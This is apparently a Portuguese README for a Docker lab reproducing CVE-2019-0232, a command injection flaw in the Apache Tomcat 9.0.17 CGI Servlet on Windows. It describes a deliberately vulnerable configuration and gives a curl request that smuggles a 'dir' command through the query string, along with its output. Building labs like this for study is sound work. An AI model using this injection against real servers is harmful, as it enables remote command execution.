
Ambiente de laboratório baseado em Docker para reproduzir CVE-2019-0232, uma vulnerabilidade de execução remota de código no Apache Tomcat CGI Servlet no Windows, com exemplos de exploração.
Este repositório fornece um ambiente de laboratório baseado em Docker para reproduzir a vulnerabilidade CVE-2019-0232 no Apache Tomcat 9.0.17 no Windows.
A CVE-2019-0232 é uma vulnerabilidade de execução remota de código no Servlet CGI do Apache Tomcat quando executado no Windows. O problema surge devido ao tratamento inadequado dos argumentos de linha de comando quando o parâmetro enableCmdLineArguments está definido como true. Um atacante pode passar argumentos arbitrários ao script CGI por meio da query string, levando à execução de comandos do sistema.
enableCmdLineArguments=true na configuração do servlet CGItomcat-cgi-lab
├── docker-compose.yml
├── Dockerfile
└── tomcat
├── apache-tomcat-9.0.17-windows-x64.zip
└── apache-tomcat-9.0.17
├── conf
│ └── context.xml ← (privileged="true")
└── webapps
└── ROOT
└── WEB-INF
├── web.xml ← (CGI configuration)
└── cgi-bin
└── test.bat ← (.bat script)
privileged="true" para permitir que o aplicativo web utilize o servlet CGI.enableCmdLineArguments=true e o mapeia para /cgi-bin/*.docker-compose build --no-cache
docker-compose up -d
curl -i "http://localhost:8080/cgi-bin/test.bat?&dir"
Welcome to CGI Test Page
Volume in drive C has no label.
Volume Serial Number is 3E70-7C38
Directory of C:\apache-tomcat-9.0.17\webapps\ROOT\WEB-INF\cgi-bin
07/12/2026 11:45 AM <DIR> .
07/12/2026 11:45 AM <DIR> ..
07/12/2026 12:25 PM 78 test.bat
1 File(s) 78 bytes
2 Dir(s) 136,027,971,584 bytes free